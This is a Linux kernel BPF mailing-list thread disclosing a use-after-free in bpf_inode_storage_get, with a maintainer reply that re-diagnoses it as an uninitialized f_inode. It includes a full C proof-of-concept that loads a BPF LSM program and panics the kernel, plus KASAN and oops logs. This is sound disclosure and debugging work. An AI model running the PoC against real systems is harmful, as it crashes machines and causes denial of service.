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bpf: Race condition in inode local storage leads to use-after-free

DISCUSSION 梅开彦 3 participants 4 messages Nov 25, 2025 BPF

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梅开彦

author Reviewed-by Dongliang Mu
#0 lore raw

A use-after-free vulnerability was discovered in the bpf_inode_storage_get helper function. This flaw is caused by a race condition between the destruction of the anonymous inode that backs the map of type BPF_MAP_TYPE_INODE_STORAGE and the execution of a BPF program that attempts to access that inode.

## Root Cause

The use-after-free occurs due to improper lifecycle management of the anonymous inode associated with a BPF_MAP_TYPE_INODE_STORAGE map. The problem could be triggered through a race condition:

1.  A BPF program creates a map of type `BPF_MAP_TYPE_INODE_STORAGE`. The kernel allocates a file descriptor and an associated anonymous `inode` to serve as the backing storage.
2.  A BPF LSM program is loaded and attached to an LSM hook `bpf_lsm_file_alloc_security`. This program holds a reference to the `inode_storage` map.
3.  The process that created the map exits, causing the kernel to close its file descriptor. This decrements the reference count on the `inode`. When the reference count drops to zero, the `inode` is freed.
4.  When another process trys to create the map, the LSM hook is triggered, causing the attached BPF program to execute.
5.  The BPF program calls `bpf_inode_storage_get()`, passing a pointer to the now-freed `inode`. The function attempts to access fields within this freed memory region, leading to a use-after-free.

The fundamental problem is that the BPF program's reference to the bpf_map does not translate to a reference on the underlying inode. This allows the inode to be destroyed while it is still potentially in use by an active BPF program. The comment in the bpf_inode_storage_get function, /* This helper must only called from where the inode is guaranteed to have a refcount and cannot be freed. */, highlights this exact requirement, which is violated by the race condition.

## Reproduction Steps

1.  **Map Creation**: Create a BPF map of type `BPF_MAP_TYPE_INODE_STORAGE`. This returns a file descriptor for the map, which is backed by an anonymous inode.
2.  **Program Setup**: Load a `BPF_PROG_TYPE_LSM` BPF program. The program should be written to call the `bpf_inode_storage_get()` helper, using the file descriptor of the map created in the previous step.
3.  **Link Creation**: Attach the LSM program to  `bpf_lsm_file_alloc_security`.
4.  **Trigger**: Exit the process that created the map. This implicitly closes the map's file descriptor, causing the backing `inode` to be freed. Concurrently, trigger the LSM hook (e.g., by creating a file in another process). The BPF program will execute and attempt to access the freed inode via `bpf_inode_storage_get()`, triggering the KASAN crash.

## Recommended Fix

The BPF subsystem should ensure that the inode associated with an inode_storage map remains valid as long as a BPF program holding a reference to that map is loaded. A potential fix is to increment the inode's reference count (i_count) when a BPF program using it is loaded (e.g., during bpf_map_get()) and decrement the count when the program is unloaded. This would prevent the inode from being prematurely freed while still in use by an attached BPF program.

## KASAN Report

```
[   57.905993][ T9899] ==================================================================
[   57.906324][ T9899] BUG: KASAN: slab-use-after-free in bpf_inode_storage_get+0x1db/0x200
[   57.906657][ T9899] Read of size 8 at addr ffff888109b8a300 by task poc/9899
[   57.906952][ T9899] 
[   57.907053][ T9899] CPU: 0 UID: 0 PID: 9899 Comm: poc Not tainted 6.18.0-rc5-next-20251111 #6 PREEMPT(full) 
[   57.907064][ T9899] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   57.907068][ T9899] Call Trace:
[   57.907070][ T9899]  <TASK>
[   57.907072][ T9899]  dump_stack_lvl+0x116/0x1b0
[   57.907080][ T9899]  print_report+0xca/0x5f0
[   57.907088][ T9899]  ? __phys_addr+0xf0/0x180
[   57.907097][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.907104][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.907111][ T9899]  kasan_report+0xca/0x100
[   57.907119][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.907128][ T9899]  bpf_inode_storage_get+0x1db/0x200
[   57.907136][ T9899]  bpf_prog_7fbc899361679885+0x63/0x6c
[   57.907141][ T9899]  bpf_trampoline_6442648864+0x58/0x141
[   57.907148][ T9899]  bpf_lsm_file_alloc_security+0x9/0x20
[   57.907157][ T9899]  security_file_alloc+0x146/0x2d0
[   57.907164][ T9899]  init_file+0x9a/0x4d0
[   57.907172][ T9899]  alloc_empty_file+0x78/0x1e0
[   57.907179][ T9899]  alloc_file_pseudo+0x130/0x220
[   57.907187][ T9899]  ? __pfx_alloc_file_pseudo+0x10/0x10
[   57.907194][ T9899]  ? _raw_spin_unlock+0x2d/0x50
[   57.907201][ T9899]  ? alloc_fd+0x3c2/0x780
[   57.907211][ T9899]  __anon_inode_getfile+0xed/0x290
[   57.907220][ T9899]  anon_inode_getfd+0x5b/0xb0
[   57.907228][ T9899]  map_create+0x1568/0x2720
[   57.907239][ T9899]  ? __pfx_map_create+0x10/0x10
[   57.907248][ T9899]  ? __might_fault+0xe5/0x190
[   57.907260][ T9899]  __sys_bpf+0x195f/0x5470
[   57.907269][ T9899]  ? __pfx___sys_bpf+0x10/0x10
[   57.907278][ T9899]  ? __handle_mm_fault+0x51c/0x2b80
[   57.907288][ T9899]  ? __lock_acquire+0x633/0x1be0
[   57.907296][ T9899]  ? css_rstat_updated+0x1c7/0x520
[   57.907304][ T9899]  ? __pfx_css_rstat_updated+0x10/0x10
[   57.907317][ T9899]  ? exc_page_fault+0xc2/0x1a0
[   57.907327][ T9899]  __x64_sys_bpf+0x7d/0xc0
[   57.907335][ T9899]  ? lockdep_hardirqs_on+0x7c/0x110
[   57.907342][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.907349][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.907355][ T9899] RIP: 0033:0x7f438e8a17d9
[   57.907360][ T9899] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c28
[   57.907367][ T9899] RSP: 002b:00007ffc9ccc1e48 EFLAGS: 00000206 ORIG_RAX: 0000000000000141
[   57.907373][ T9899] RAX: ffffffffffffffda RBX: 00007ffc9ccc20c8 RCX: 00007f438e8a17d9
[   57.907377][ T9899] RDX: 0000000000000040 RSI: 00007ffc9ccc1e70 RDI: 0000000000000000
[   57.907380][ T9899] RBP: 00007ffc9ccc1f00 R08: 0000000000000003 R09: 0000000000000000
[   57.907384][ T9899] R10: 0000000000000201 R11: 0000000000000206 R12: 0000000000000000
[   57.907387][ T9899] R13: 00007ffc9ccc20d8 R14: 0000556796cb4dd8 R15: 00007f438e9c2020
[   57.907396][ T9899]  </TASK>
[   57.907398][ T9899] 
[   57.918793][ T9899] Allocated by task 1:
[   57.918993][ T9899]  kasan_save_stack+0x24/0x50
[   57.919221][ T9899]  kasan_save_track+0x14/0x30
[   57.919448][ T9899]  __kasan_slab_alloc+0x87/0x90
[   57.919691][ T9899]  kmem_cache_alloc_lru_noprof+0x294/0x7c0
[   57.919988][ T9899]  alloc_inode+0x187/0x250
[   57.920209][ T9899]  create_pipe_files+0x51/0x9d0
[   57.920448][ T9899]  do_pipe2+0x9c/0x1c0
[   57.920652][ T9899]  __x64_sys_pipe2+0x59/0x80
[   57.920883][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.921107][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.921395][ T9899] 
[   57.921510][ T9899] Freed by task 9823:
[   57.921708][ T9899]  kasan_save_stack+0x24/0x50
[   57.921946][ T9899]  kasan_save_track+0x14/0x30
[   57.922176][ T9899]  kasan_save_free_info+0x3b/0x60
[   57.922421][ T9899]  __kasan_slab_free+0x61/0x80
[   57.922661][ T9899]  kmem_cache_free+0x167/0x680
[   57.922893][ T9899]  destroy_inode+0xcc/0x1b0
[   57.923115][ T9899]  evict+0x579/0xa90
[   57.923308][ T9899]  iput.part.0+0x7f9/0xf40
[   57.923530][ T9899]  iput+0x3a/0x40
[   57.923716][ T9899]  dentry_unlink_inode+0x29b/0x480
[   57.923971][ T9899]  __dentry_kill+0x1d7/0x600
[   57.924199][ T9899]  dput.part.0+0x4b5/0x9b0
[   57.924423][ T9899]  dput+0x24/0x30
[   57.924601][ T9899]  __fput+0x51b/0xb50
[   57.924801][ T9899]  fput_close_sync+0x114/0x210
[   57.925040][ T9899]  __x64_sys_close+0x93/0x120
[   57.925281][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.925501][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.925792][ T9899] 
[   57.925906][ T9899] The buggy address belongs to the object at ffff888109b8a2c8
[   57.925906][ T9899]  which belongs to the cache inode_cache of size 1144
[   57.926566][ T9899] The buggy address is located 56 bytes inside of
[   57.926566][ T9899]  freed 1144-byte region [ffff888109b8a2c8, ffff888109b8a740)
[   57.927222][ T9899] 
[   57.927337][ T9899] The buggy address belongs to the physical page:
[   57.927641][ T9899] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888109b8a2c8 pfn:0x109b88
[   57.928128][ T9899] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   57.928533][ T9899] memcg:ffff8881000ac801
[   57.928737][ T9899] anon flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
[   57.929126][ T9899] page_type: f5(slab)
[   57.929321][ T9899] raw: 057ff00000000040 ffff888100050b40 0000000000000000 0000000000000001
[   57.929729][ T9899] raw: ffff888109b8a2c8 0000000000190017 00000000f5000000 ffff8881000ac801
[   57.930084][ T9899] head: 057ff00000000040 ffff888100050b40 0000000000000000 0000000000000001
[   57.930430][ T9899] head: ffff888109b8a2c8 0000000000190017 00000000f5000000 ffff8881000ac801
[   57.930776][ T9899] head: 057ff00000000003 ffffea000426e201 00000000ffffffff 00000000ffffffff
[   57.931125][ T9899] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[   57.931468][ T9899] page dumped because: kasan: bad access detected
[   57.931723][ T9899] page_owner tracks the page as allocated
[   57.931953][ T9899] page last allocated via order 3, migratetype Reclaimable, gfp_mask 0xd20d0(__GFP_RECLAIMABLE|__GFP_IO0
[   57.932835][ T9899]  post_alloc_hook+0x1be/0x230
[   57.933037][ T9899]  get_page_from_freelist+0x111c/0x3030
[   57.933266][ T9899]  __alloc_frozen_pages_noprof+0x25b/0x2130
[   57.933508][ T9899]  alloc_pages_mpol+0x1f6/0x550
[   57.933709][ T9899]  new_slab+0x256/0x370
[   57.933884][ T9899]  ___slab_alloc+0xc00/0x1710
[   57.934077][ T9899]  __slab_alloc.constprop.0+0x6b/0x120
[   57.934301][ T9899]  kmem_cache_alloc_lru_noprof+0x514/0x7c0
[   57.934540][ T9899]  alloc_inode+0x187/0x250
[   57.934722][ T9899]  iget_locked+0x1a4/0x6c0
[   57.934909][ T9899]  kernfs_get_inode+0x4b/0x470
[   57.935113][ T9899]  kernfs_iop_lookup+0x1a8/0x2e0
[   57.935350][ T9899]  __lookup_slow+0x256/0x480
[   57.935574][ T9899]  walk_component+0x34e/0x5b0
[   57.935806][ T9899]  path_lookupat+0x148/0x6c0
[   57.936043][ T9899]  filename_lookup+0x218/0x5f0
[   57.936276][ T9899] page_owner free stack trace missing
[   57.936533][ T9899] 
[   57.936650][ T9899] Memory state around the buggy address:
[   57.936923][ T9899]  ffff888109b8a200: fb fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc
[   57.937312][ T9899]  ffff888109b8a280: fc fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb
[   57.937698][ T9899] >ffff888109b8a300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   57.938084][ T9899]                    ^
[   57.938286][ T9899]  ffff888109b8a380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   57.938672][ T9899]  ffff888109b8a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   57.939056][ T9899] ==================================================================
[   57.939644][ T9899] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   57.939995][ T9899] CPU: 0 UID: 0 PID: 9899 Comm: poc Not tainted 6.18.0-rc5-next-20251111 #6 PREEMPT(full) 
[   57.940473][ T9899] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   57.940912][ T9899] Call Trace:
[   57.941075][ T9899]  <TASK>
[   57.941217][ T9899]  dump_stack_lvl+0x3d/0x1b0
[   57.941438][ T9899]  vpanic+0x67e/0x710
[   57.941640][ T9899]  panic+0xc7/0xd0
[   57.941825][ T9899]  ? __pfx_panic+0x10/0x10
[   57.942056][ T9899]  ? preempt_schedule_common+0x44/0xb0
[   57.942329][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.942602][ T9899]  ? preempt_schedule_thunk+0x16/0x30
[   57.942875][ T9899]  ? check_panic_on_warn+0x24/0xc0
[   57.943134][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.943407][ T9899]  check_panic_on_warn+0xb6/0xc0
[   57.943652][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.943920][ T9899]  end_report+0x107/0x170
[   57.944140][ T9899]  kasan_report+0xd8/0x100
[   57.944366][ T9899]  ? bpf_inode_storage_get+0x1db/0x200
[   57.944633][ T9899]  bpf_inode_storage_get+0x1db/0x200
[   57.944895][ T9899]  bpf_prog_7fbc899361679885+0x63/0x6c
[   57.945160][ T9899]  bpf_trampoline_6442648864+0x58/0x141
[   57.945424][ T9899]  bpf_lsm_file_alloc_security+0x9/0x20
[   57.945693][ T9899]  security_file_alloc+0x146/0x2d0
[   57.945948][ T9899]  init_file+0x9a/0x4d0
[   57.946155][ T9899]  alloc_empty_file+0x78/0x1e0
[   57.946393][ T9899]  alloc_file_pseudo+0x130/0x220
[   57.946642][ T9899]  ? __pfx_alloc_file_pseudo+0x10/0x10
[   57.946912][ T9899]  ? _raw_spin_unlock+0x2d/0x50
[   57.947145][ T9899]  ? alloc_fd+0x3c2/0x780
[   57.947358][ T9899]  __anon_inode_getfile+0xed/0x290
[   57.947609][ T9899]  anon_inode_getfd+0x5b/0xb0
[   57.947837][ T9899]  map_create+0x1568/0x2720
[   57.948065][ T9899]  ? __pfx_map_create+0x10/0x10
[   57.948306][ T9899]  ? __might_fault+0xe5/0x190
[   57.948539][ T9899]  __sys_bpf+0x195f/0x5470
[   57.948765][ T9899]  ? __pfx___sys_bpf+0x10/0x10
[   57.949007][ T9899]  ? __handle_mm_fault+0x51c/0x2b80
[   57.949275][ T9899]  ? __lock_acquire+0x633/0x1be0
[   57.949521][ T9899]  ? css_rstat_updated+0x1c7/0x520
[   57.949761][ T9899]  ? __pfx_css_rstat_updated+0x10/0x10
[   57.949994][ T9899]  ? exc_page_fault+0xc2/0x1a0
[   57.950194][ T9899]  __x64_sys_bpf+0x7d/0xc0
[   57.950381][ T9899]  ? lockdep_hardirqs_on+0x7c/0x110
[   57.950594][ T9899]  do_syscall_64+0xcb/0xfa0
[   57.950782][ T9899]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   57.951024][ T9899] RIP: 0033:0x7f438e8a17d9
[   57.951208][ T9899] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c28
[   57.951976][ T9899] RSP: 002b:00007ffc9ccc1e48 EFLAGS: 00000206 ORIG_RAX: 0000000000000141
[   57.952312][ T9899] RAX: ffffffffffffffda RBX: 00007ffc9ccc20c8 RCX: 00007f438e8a17d9
[   57.952628][ T9899] RDX: 0000000000000040 RSI: 00007ffc9ccc1e70 RDI: 0000000000000000
[   57.952947][ T9899] RBP: 00007ffc9ccc1f00 R08: 0000000000000003 R09: 0000000000000000
[   57.953263][ T9899] R10: 0000000000000201 R11: 0000000000000206 R12: 0000000000000000
[   57.953580][ T9899] R13: 00007ffc9ccc20d8 R14: 0000556796cb4dd8 R15: 00007f438e9c2020
[   57.953905][ T9899]  </TASK>
[   57.954362][ T9899] Kernel Offset: disabled
```

## Proof of Concept

The following C program can demonstrate the vulnerability on linux-next-20251111(commit 2666975a8905776d306bee01c5d98a0395bda1c9).

To successfully run the PoC, you need to obtain the BTF ID for bpf_lsm_file_alloc_security and set the variable btf_id in function load_prog to this value. You can retrieve this BTF ID using the following command: bpftool btf dump file path-to-your-vmlinux | grep bpf_lsm_file_alloc_security.

```c
#define _GNU_SOURCE 

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/bpf.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

#define BPF_FUNC_inode_storage_get 145
#define BPF_FUNC_inode_storage_delete 146

#define BPF_EXIT_INSN()						\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_EXIT,			\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV64_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })
                
#define BPF_LD_IMM64_RAW_FULL(DST, SRC, OFF1, OFF2, IMM1, IMM2)	\
	((struct bpf_insn) {					\
		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF1,					\
		.imm   = IMM1 }),				\
	((struct bpf_insn) {					\
		.code  = 0, /* zero is reserved opcode */	\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = OFF2,					\
		.imm   = IMM2 })

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */

#define BPF_LD_MAP_FD(DST, MAP_FD)				\
	BPF_LD_IMM64_RAW_FULL(DST, BPF_PSEUDO_MAP_FD, 0, 0,	\
			      MAP_FD, 0)

#define BPF_MOV64_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_EMIT_CALL(FUNC)					\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_CALL,			\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = ((FUNC) - BPF_FUNC_unspec) })


static unsigned long long procid;
static inline uint64_t ptr_to_u64(const void *ptr) {
    return (uint64_t)(unsigned long)ptr;
}

static void sleep_ms(uint64_t ms)
{
        usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
        struct timespec ts;
        if (clock_gettime(CLOCK_MONOTONIC, &ts))
        exit(1);
        return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

static bool write_file(const char* file, const char* what, ...)
{
        char buf[1024];
        va_list args;
        va_start(args, what);
        vsnprintf(buf, sizeof(buf), what, args);
        va_end(args);
        buf[sizeof(buf) - 1] = 0;
        int len = strlen(buf);
        int fd = open(file, O_WRONLY | O_CLOEXEC);
        if (fd == -1)
                return false;
        if (write(fd, buf, len) != len) {
                int err = errno;
                close(fd);
                errno = err;
                return false;
        }
        close(fd);
        return true;
}

static void kill_and_wait(int pid, int* status)
{
        kill(-pid, SIGKILL);
        kill(pid, SIGKILL);
        for (int i = 0; i < 100; i++) {
                if (waitpid(-1, status, WNOHANG | __WALL) == pid)
                        return;
                usleep(1000);
        }
        DIR* dir = opendir("/sys/fs/fuse/connections");
        if (dir) {
                for (;;) {
                        struct dirent* ent = readdir(dir);
                        if (!ent)
                                break;
                        if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
                                continue;
                        char abort[300];
                        snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
                        int fd = open(abort, O_WRONLY);
                        if (fd == -1) {
                                continue;
                        }
                        if (write(fd, abort, 1) < 0) {
                        }
                        close(fd);
                }
                closedir(dir);
        } else {
        }
        while (waitpid(-1, status, __WALL) != pid) {
        }
}

static void setup_test()
{
        prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
        setpgrp();
        write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
        int iter = 0;
        for (;; iter++) {
                int pid = fork();
                if (pid < 0)
        exit(1);
                if (pid == 0) {
                        setup_test();
                        execute_one();
                        exit(0);
                }
                int status = 0;
                uint64_t start = current_time_ms();
                for (;;) {
                        sleep_ms(10);
                        if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
                                break;
                        if (current_time_ms() - start < 5000)
                                continue;
                        kill_and_wait(pid, &status);
                        break;
                }
        }
}

int create_btf_fd(){
    *(uint64_t*)0x200000000100 = 0x200000000000;
    *(uint16_t*)0x200000000000 = 0xeb9f;
    *(uint8_t*)0x200000000002 = 1;
    *(uint8_t*)0x200000000003 = 0;
    *(uint32_t*)0x200000000004 = 0x18;
    *(uint32_t*)0x200000000008 = 0;
    *(uint32_t*)0x20000000000c = 0x1c;
    *(uint32_t*)0x200000000010 = 0x1c;
    *(uint32_t*)0x200000000014 = 2;
    *(uint32_t*)0x200000000018 = 0;
    *(uint16_t*)0x20000000001c = 0;
    *(uint8_t*)0x20000000001e = 0;
    *(uint8_t*)0x20000000001f = 1;
    *(uint32_t*)0x200000000020 = 4;
    *(uint8_t*)0x200000000024 = 0x20;
    *(uint8_t*)0x200000000025 = 0;
    *(uint8_t*)0x200000000026 = 0;
    *(uint8_t*)0x200000000027 = 1;
    *(uint32_t*)0x200000000028 = 1;
    *(uint16_t*)0x20000000002c = 0;
    *(uint8_t*)0x20000000002e = 0;
    *(uint8_t*)0x20000000002f = 0x10;
    *(uint32_t*)0x200000000030 = 8;
    *(uint8_t*)0x200000000034 = 0;
    *(uint8_t*)0x200000000035 = 0;
    *(uint64_t*)0x200000000108 = 0;
    *(uint32_t*)0x200000000110 = 0x36;
    *(uint32_t*)0x200000000114 = 0;
    *(uint32_t*)0x200000000118 = 1;
    *(uint32_t*)0x20000000011c = 0;
    *(uint32_t*)0x200000000120 = 0;
    *(uint32_t*)0x200000000124 = 0;
    int res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x200000000100ul, /*size=*/0x28ul);
    return res;
}

int bpf_map_create(uint32_t map_type, uint32_t key_size, uint32_t value_size, unsigned int max_entries, unsigned int flags, unsigned int btf_id) {
        union bpf_attr attr = {.map_type = map_type,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries,
        .map_flags = flags,
        .map_extra = 0,
        .btf_fd=btf_id,
        .btf_key_type_id=1,
        .btf_value_type_id=1,
    };
        return syscall(__NR_bpf, 0, &attr, 0x40);
}

static int load_prog(struct bpf_insn *insns, size_t cnt) {
    int btf_id = 0; // change to valid btf of bpf_lsm_file_alloc_security
    if(btf_id == 0) {
        printf("Btf id is not available! \n");
        exit(0);
    }
    union bpf_attr attr = {
        .prog_type = 0x1d,
        .insns = ptr_to_u64(insns),
        .insn_cnt = cnt,
        .license = ptr_to_u64("GPL"),
        .attach_btf_id = btf_id, 
        .expected_attach_type = BPF_LSM_MAC,
    };
    int prog_fd=syscall(__NR_bpf, 5, &attr, sizeof(attr));
    return prog_fd;
}

int link_create(int prog_fd, int target_fd, uint32_t attach_type)
{
        union bpf_attr attr = {
                .link_create.prog_fd = prog_fd,
                .link_create.target_fd = target_fd,
                .link_create.attach_type = attach_type,
        };

        return syscall(__NR_bpf, BPF_LINK_CREATE, &attr, sizeof(attr.link_create));
}

uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};

void execute_one(void)
{
        intptr_t res = 0;
        if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}

        res = create_btf_fd();
        if (res != -1)
                r[0] = res;

        res = bpf_map_create(0x1c, 4, 4, 0, 0x201, r[0]);
        if (res != -1)
                r[1] = res;
        struct bpf_insn prog[] = {
            BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0),
            BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 96),
            BPF_LD_MAP_FD(BPF_REG_1, r[1]),
            BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
            BPF_MOV64_IMM(BPF_REG_3, 0x0),
            BPF_MOV64_IMM(BPF_REG_4, 0x1),
            BPF_EMIT_CALL(BPF_FUNC_inode_storage_get),
            BPF_MOV64_IMM(BPF_REG_0, 0x0),
            BPF_EXIT_INSN()
        };
        res = load_prog(prog, sizeof(prog) / sizeof(prog[0]));
        printf("loaded prog %ld\n", res);
        if (res != -1)
            r[3] = res;
        link_create(r[3], 0, BPF_LSM_MAC);

}
int main(void)
{
        syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
        syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
        syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
        const char* reason;
        (void)reason;
        for (procid = 0; procid < 8; procid++) {
                if (fork() == 0) {
                        loop();
                }
        }
        sleep(1000000);
        return 0;
}

```

## Kernel Configuration Requirements for Reproduction

The vulnerability can be triggered with the kernel config in the attachment.

#1 lore raw
Quoted 11 lines · 梅开彦

A use-after-free vulnerability was discovered in the bpf_inode_storage_get helper function. This flaw is caused by a race condition between the destruction of the anonymous inode that backs the map of type BPF_MAP_TYPE_INODE_STORAGE and the execution of a BPF program that attempts to access that inode.

## Root Cause

The use-after-free occurs due to improper lifecycle management of the anonymous inode associated with a BPF_MAP_TYPE_INODE_STORAGE map. The problem could be triggered through a race condition:

Quoted 7 lines
1.  A BPF program creates a map of type `BPF_MAP_TYPE_INODE_STORAGE`. The kernel allocates a file descriptor and an associated anonymous `inode` to serve as the backing storage.
2.  A BPF LSM program is loaded and attached to an LSM hook `bpf_lsm_file_alloc_security`. This program holds a reference to the `inode_storage` map.
3.  The process that created the map exits, causing the kernel to close its file descriptor. This decrements the reference count on the `inode`. When the reference count drops to zero, the `inode` is freed.
4.  When another process trys to create the map, the LSM hook is triggered, causing the attached BPF program to execute.
5.  The BPF program calls `bpf_inode_storage_get()`, passing a pointer to the now-freed `inode`. The function attempts to access fields within this freed memory region, leading to a use-after-free.

The fundamental problem is that the BPF program's reference to the bpf_map does not translate to a reference on the underlying inode. This allows the inode to be destroyed while it is still potentially in use by an active BPF program. The comment in the bpf_inode_storage_get function, /* This helper must only called from where the inode is guaranteed to have a refcount and cannot be freed. */, highlights this exact requirement, which is violated by the race condition.

Thanks for reporting. I found the root cause here a bit hard to follow, so I also ran your POC on a VM with bpf-next kernel and confirmed the kernel did panic.

However, the bug seems to me to be an uninitialized file->f_inode being passed to bpf_inode_storage_get() in bpf_lsm_file_alloc_security.

alloc_file()
-> alloc_empty_file() first allocates a file struct using kmem_cache_alloc() -> init_file()
-> security_file_alloc() // calling bpf_inode_storage_get() on
invalid file->f_inode
-> f->f_inode = NULL;
-> file_init_path()
-> file->f_inode = path->dentry->d_inode

After moving f->f_inode before security_file_alloc(), the POC no longer crash the kernel.

Attaching a more readable version of the BPF program and the splat I got and the end for anyone interested.

0: R1=ctx() R10=fp0
0: (79) r1 = *(u64 *)(r1 +0)
func 'bpf_lsm_file_alloc_security' arg0 has btf_id 254 type STRUCT 'file' 1: R1=ptr_file()

1: (79) r6 = *(u64 *)(r1 +96)         ; R1=ptr_file() R6=ptr_inode()
2: (18) r1 = 0xffff88810b54a400       ; R1=map_ptr(ks=4,vs=4)
4: (bf) r2 = r6                       ; R2=ptr_inode() R6=ptr_inode()
5: (b7) r3 = 0                        ; R3=0
6: (b7) r4 = 1                        ; R4=1

7: (85) call bpf_inode_storage_get#145 ;
R0=map_value_or_null(id=1,ks=4,vs=4)
8: (b7) r0 = 0 ; R0=0
9: (95) exit

[   20.317017] Oops: general protection fault, probably for
non-canonical address 0x79726f6d656d75: 0000 [#1] SMP PTI
[   20.317857] CPU: 9 UID: 0 PID: 803 Comm: ls_inode Tainted: G
    E       6.18.0-rc5-g4617b3069af4-dirty #548 PREEMPT
[   20.318725] Tainted: [E]=UNSIGNED_MODULE
[   20.319029] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.16.3-4.el9 04/01/2014
[   20.319762] RIP: 0010:bpf_inode_storage_get+0x5d/0xf0
[   20.320229] Code: 79 32 14 01 85 c0 75 0d e8 40 19 e9 ff 85 c0 0f
84 97 00 00 00 49 83 fd 02 0f 93 c0 4d 85 e4 0f 94 c1 08 c1 74 041
[   20.321843] RSP: 0018:ffffc900015c7b98 EFLAGS: 00010246
